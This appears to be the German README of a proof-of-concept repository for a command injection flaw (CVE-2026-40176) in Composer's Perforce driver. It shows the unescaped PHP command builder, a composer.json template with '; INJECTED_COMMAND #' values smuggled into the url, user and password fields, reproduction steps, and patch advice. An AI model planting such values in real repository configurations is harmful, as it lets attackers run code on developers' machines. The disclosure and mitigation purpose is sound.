
Proof-of-Concept, das eine Befehlsinjektion im Perforce-Treiber von Composer demonstriert (CVE-2026-40176), die Remote-Codeausführung über eine manipulierte Repository-Konfiguration ermöglicht.
Command Injection-Schwachstelle im Perforce-Repository-Treiber von Composer, die Remote Code Execution (RCE) durch unzureichende Eingabevalidierung bei der Verarbeitung von Repository-URLs ermöglicht.
| Eigenschaft | Wert |
|---|
| CVE-ID | CVE-2026-40176 |
| Betroffene Versionen | Composer < 2.2.27 |
| Schwachstellentyp | Command Injection |
| Angriffsvektor | Bösartige Repository-Konfiguration |
| Auswirkung | Beliebige Codeausführung |
| CVSS-Score | Hoch/Kritisch |
Die Schwachstelle besteht darin, wie Composer den Typ perforce verarbeitet. Der Parameter wird nicht ordnungsgemäß bereinigt, bevor er an Shell-Befehle übergeben wird, sodass Angreifer beliebige Systembefehle einschleusen können.
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
Alles davon wurde nicht ordnungsgemäß maskiert, sodass ein Angreifer Befehle einschleusen kann, indem er eine bösartige Nutzlast für alle Felder mit dem Typ perforce erstellt.
Verwundbares Code-Muster:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
Dieses Repository enthält einen funktionierenden Proof-of-Concept, der die Schwachstelle demonstriert.
CVE-2026-40176/
├── composer.json # Bösartige Perforce-Repository-Konfiguration
├── vuln-composer.phar # Composer 2.2.26 (VERWUNDBAR)
├── patched-composer.phar # Composer 2.2.27 (GEPATCHT)
└── README.md # Diese Datei
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# Ausgabe: Composer version 2.2.26
php patched-composer.phar --version
# Ausgabe: Composer version 2.2.27
php vuln-composer.phar install
# ODER
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# Datei sollte NICHT existieren (Schwachstelle ist gepatcht)
Composer aktualisieren auf Version 2.2.27 oder höher:
composer self-update --2.2.27
# ODER
wget https://getcomposer.org/download/2.2.27/composer.phar
Alle composer.json-Dateien überprüfen auf unbekannte oder verdächtige Repository-Konfigurationen
Lieferkette prüfen – Prüfen, ob Abhängigkeiten auf nicht vertrauenswürdige Repositories verweisen
# Composer-Version prüfen
composer --version
# Nach Perforce-Repositories in Ihren Projekten suchen
grep -r "perforce" */composer.json